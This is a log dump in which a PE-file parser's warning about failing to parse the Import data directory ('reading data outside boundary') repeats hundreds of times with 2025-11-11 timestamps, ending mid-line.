level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:51:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading 